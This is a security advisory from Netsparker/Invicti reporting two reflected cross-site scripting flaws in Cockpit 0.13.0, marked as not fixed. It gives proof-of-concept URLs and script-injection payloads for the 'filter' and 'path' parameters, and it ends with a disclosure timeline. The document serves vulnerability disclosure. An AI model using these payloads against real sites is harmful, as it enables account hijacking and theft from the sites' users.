Multiple Reflected Cross-site Scripting Vulnerabilities in Cockpit 0.13.0

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Cockpit
Affected Software: Cockpit
Affected Versions: 0.13.0
Vendor Homepage: https://getcockpit.com/
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not fixed
Invicti Advisory Reference: NS-16-015

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Cockpit;

URL: /cockpit-0.13.0/collections/entries/{ANOTHER_ENTRIES_HASH}&filter='"--></style></scRipt><scRipt>alert(0x0032AA)</scRipt>
Parameter Name: filter
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0032AA)</scRipt>

URL: /cockpit-0.13.0/mediamanager/api
Parameter Name: path
Parameter Type: POST
Attack Pattern: ><iMg src=N onerror=alert(9)>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

30 Jun 2016 – Issue reported
Jul – Sep 2016 – Several attempts to get in touch
19 Sep 2016 – Advisory released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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